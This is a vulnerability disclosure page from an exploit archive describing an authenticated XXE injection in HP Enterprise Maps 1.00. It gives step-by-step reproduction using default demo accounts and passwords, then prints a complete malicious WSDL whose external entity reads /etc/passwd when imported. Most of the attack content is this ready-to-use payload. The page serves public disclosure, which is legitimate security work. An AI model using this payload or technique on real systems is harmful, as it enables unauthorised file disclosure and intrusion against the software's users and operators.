exploit the possibilities

HP Enterprise Maps 1.00 Authenticated XXE Injection

HP Enterprise Maps 1.00 Authenticated XXE Injection
Posted Jun 26, 2014
Authored by Brandon Perry

HP Enterprise Maps version 1.00 suffers from an authenticated XXE injection vulnerability.

tags | exploit, xxe
MD5 | 3f644d27b92ee8ff3b3c9fcd396def28

HP Enterprise Maps 1.00 Authenticated XXE Injection

Change Mirror Download
HP Enterprise Maps 1.00 Authenticated XXE vulnerability

http://www8.hp.com/us/en/software/enterprise-software.html


Any user that has the ability to import a file to create an artifact (most,
if not all authed users?)

can upload a specially crafted WSDL that will read files such as
/etc/passwd.


If you download the OVA available, then log in as vagrant:vagrant over ssh,
you should see a

series of commands followed by a bash prompt. Follow the instructions
printed, I also followed the instruction to install the demo data.


After this, you have two accounts available, ‘admin’ and ‘demoapprover’.
Both have the

password ‘changeit’.


You may log in as either of these users, and import the following WSDL as a
file (Import menu

item -> File), then follow the first link to the ‘GetQuote’ method when it
finishes parsing the

WSDL. The /etc/passwd file will be listed at the top.


======
Example WSDL: https://gist.github.com/brandonprry/470bb4ec7d019cbfe4e6

<?xml version="1.0" encoding="utf-8"?>!
<!DOCTYPE foo [ !
<!ELEMENT foo ANY >!
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>!
<wsdl:definitions xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:mime="http://
schemas.xmlsoap.org/wsdl/mime/" xmlns:tns="http://www.webserviceX.NET/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:s="http://www.w3.org/2001/
XMLSchema" xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/" xmlns:http="http://
schemas.xmlsoap.org/wsdl/http/" targetNamespace="http://www.webserviceX.NET/"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">!
<wsdl:types>!
<s:schema elementFormDefault="qualified" targetNamespace="http://
www.webserviceX.NET/">!
<s:element name="GetQuote">!
<s:complexType>!
<s:sequence>!
<s:element minOccurs="0" maxOccurs="1" name="symbol" type="s:string" />!
</s:sequence>!
</s:complexType>!
</s:element>!
<s:element name="GetQuoteResponse">!
<s:complexType>!
<s:sequence>!
<s:element minOccurs="0" maxOccurs="1" name="GetQuoteResult" type="s:string" />!
</s:sequence>!
</s:complexType>!
</s:element>!
<s:element name="string" nillable="true" type="s:string" />!
</s:schema>!
</wsdl:types>!
<wsdl:message name="GetQuoteSoapIn">!
<wsdl:part name="parameters" element="tns:GetQuote" />!
</wsdl:message>!
<wsdl:message name="GetQuoteSoapOut">!
<wsdl:part name="parameters" element="tns:GetQuoteResponse" />!
</wsdl:message>!
<wsdl:message name="GetQuoteHttpGetIn">!
<wsdl:part name="symbol" type="s:string" />!
</wsdl:message>!
<wsdl:message name="GetQuoteHttpGetOut">!
<wsdl:part name="Body" element="tns:string" />!
</wsdl:message>!
<wsdl:message name="GetQuoteHttpPostIn">!
<wsdl:part name="symbol" type="s:string" />!
</wsdl:message>!
<wsdl:message name="GetQuoteHttpPostOut">!
<wsdl:part name="Body" element="tns:string" />!
</wsdl:message>!
<wsdl:portType name="StockQuoteSoap">!
<wsdl:operation name="GetQuote">!
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">&xxe;</
wsdl:documentation>!
<wsdl:input message="tns:GetQuoteSoapIn" />!
<wsdl:output message="tns:GetQuoteSoapOut" />!
</wsdl:operation>!
</wsdl:portType>!
<wsdl:portType name="StockQuoteHttpGet">!
<wsdl:operation name="GetQuote">!
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">Get Stock quote for a
company Symbol</wsdl:documentation>!
<wsdl:input message="tns:GetQuoteHttpGetIn" />!
<wsdl:output message="tns:GetQuoteHttpGetOut" />!
</wsdl:operation>!
</wsdl:portType>!
<wsdl:portType name="StockQuoteHttpPost">!
<wsdl:operation name="GetQuote">!
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">Get Stock quote for a
company Symbol</wsdl:documentation>!
<wsdl:input message="tns:GetQuoteHttpPostIn" />!
<wsdl:output message="tns:GetQuoteHttpPostOut" />!
</wsdl:operation>!
</wsdl:portType>!
<wsdl:binding name="StockQuoteSoap" type="tns:StockQuoteSoap">!
<soap:binding transport="http://schemas.xmlsoap.org/soap/http" />!
<wsdl:operation name="GetQuote">!
<soap:operation soapAction="http://www.webserviceX.NET/GetQuote" style="document" />!
<wsdl:input>!
<soap:body use="literal" />!
</wsdl:input>!
<wsdl:output>!
<soap:body use="literal" />!
</wsdl:output>!
</wsdl:operation>!
</wsdl:binding>!
<wsdl:binding name="StockQuoteSoap12" type="tns:StockQuoteSoap">!
<soap12:binding transport="http://schemas.xmlsoap.org/soap/http" />!
<wsdl:operation name="GetQuote">!
<soap12:operation soapAction="http://www.webserviceX.NET/GetQuote" style="document" /
>!
<wsdl:input>!
<soap12:body use="literal" />!
</wsdl:input>!
<wsdl:output>!
<soap12:body use="literal" />!
</wsdl:output>!
</wsdl:operation>!
</wsdl:binding>!
<wsdl:binding name="StockQuoteHttpGet" type="tns:StockQuoteHttpGet">!
<http:binding verb="GET" />!
<wsdl:operation name="GetQuote">!
<http:operation location="/GetQuote" />!
<wsdl:input>!
<http:urlEncoded />!
</wsdl:input>!
<wsdl:output>!
<mime:mimeXml part="Body" />!
</wsdl:output>!
</wsdl:operation>!
</wsdl:binding>!
<wsdl:binding name="StockQuoteHttpPost" type="tns:StockQuoteHttpPost">!
<http:binding verb="POST" />!
<wsdl:operation name="GetQuote">!
<http:operation location="/GetQuote" />!
<wsdl:input>!
<mime:content type="application/x-www-form-urlencoded" />!
</wsdl:input>!
<wsdl:output>!
<mime:mimeXml part="Body" />!
</wsdl:output>!
</wsdl:operation>!
</wsdl:binding>!
<wsdl:service name="StockQuote">!
<wsdl:port name="StockQuoteSoap" binding="tns:StockQuoteSoap">!
<soap:address location="http://www.webservicex.net/stockquote.asmx" />!
</wsdl:port>!
<wsdl:port name="StockQuoteSoap12" binding="tns:StockQuoteSoap12">!
<soap12:address location="http://www.webservicex.net/stockquote.asmx" />!
</wsdl:port>!
<wsdl:port name="StockQuoteHttpGet" binding="tns:StockQuoteHttpGet">!
<http:address location="http://www.webservicex.net/stockquote.asmx" />!
</wsdl:port>!
<wsdl:port name="StockQuoteHttpPost" binding="tns:StockQuoteHttpPost">!
<http:address location="http://www.webservicex.net/stockquote.asmx" />!
</wsdl:port>!
</wsdl:service>!
</wsdl:definitions>!
======




Image of page once exploited: http://imgur.com/14eAOCw

--
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close